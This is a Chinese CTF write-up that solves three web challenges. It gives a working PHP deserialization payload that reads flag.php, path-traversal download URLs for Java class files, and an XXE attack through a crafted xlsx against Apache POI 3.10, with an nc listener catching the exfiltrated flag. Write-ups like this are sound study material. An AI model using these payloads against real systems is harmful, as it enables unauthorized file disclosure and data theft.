AreUSerialz
打開題目直接給出了源代碼
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: "; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
簡單代碼審計,發現如下幾個關鍵點:
(1)在process函數中,用的是 == , 而析構函數中用的是 === ,因此我們讓 op=2,即可繞過析構函數對op的賦值。

(2)反序列化之前會做逐字判斷,ascii必須>=32或<=125,由於這里是protected類型,需要加上%00進行標識,由於%00被url解碼后ascii值為0,不在32-125中,所以會返回false,那么就可以就用十六進制\00和S繞過。

(3)flag在當前目錄的flag.php文件中
構造POC :
<?php class FileHandler { protected $op=2; protected $filename="flag.php"; protected $content; } $a= new FileHandler(); $a=serialize($a); echo $a; //O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
將%00替換為\00,然后將s->S
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:10:"./flag.php";S:10:"\00*\00content";N;}
對這道題說來,直接改成private類型也可以,如:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;}
javafile
打開題目時個上傳界面

上傳之后可以進行下載

猜測下載的時候可能存在目錄穿越漏洞,在結合題目名稱,這是一個Javaweb,考慮讀取web.xml文件
瀏覽發現有幾個可以下載的配置文件;這里看到和文件上傳有關系,所以就下載文件上傳方面的class文件進行審計即可,這里我全下載下來了
?filename=../../../classes/cn/abc/servlet/DownloadServlet.class ?filename=../../../classes/cn/abc/servlet/ListFileServlet.class ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
得到class文件之后用JD-GUI打開,進行代碼審計,upload這里有一個對文件名、后綴是否為excel-開頭和xlsx結尾進行的判斷
這里先判斷了文件名是否為“excel-” 然后又判斷了文件是否是以xlsx為結尾;這里又是java環境,又在上圖的文件里可以看到引入了Apache POI OpenXML parser且為存在漏洞的3.10版本,所以不難讓人想到可能是利用xlsx構造xml進行文件讀取了,和docx的xml差不多是一個原理,又可以和軟鏈接攻擊相比較類似,都是基於壓縮包進行的。( https://www.jianshu.com/p/73cd11d83c30 )
新建一個excel文件,將后綴名改為zip,然后解壓
修改[Content_Types].xml

然后把文件壓縮回zip,並修改后綴為xlsx
然后在服務器上創建一個dtd文件:file.dtd,內容如下:

然后服務器開啟監聽 nc -lvvp 2333
本地上傳excel-vege.xlsx文件
上傳成功后,服務器接收到flag
notes
(JS原型鏈污染。 不太會。 待補)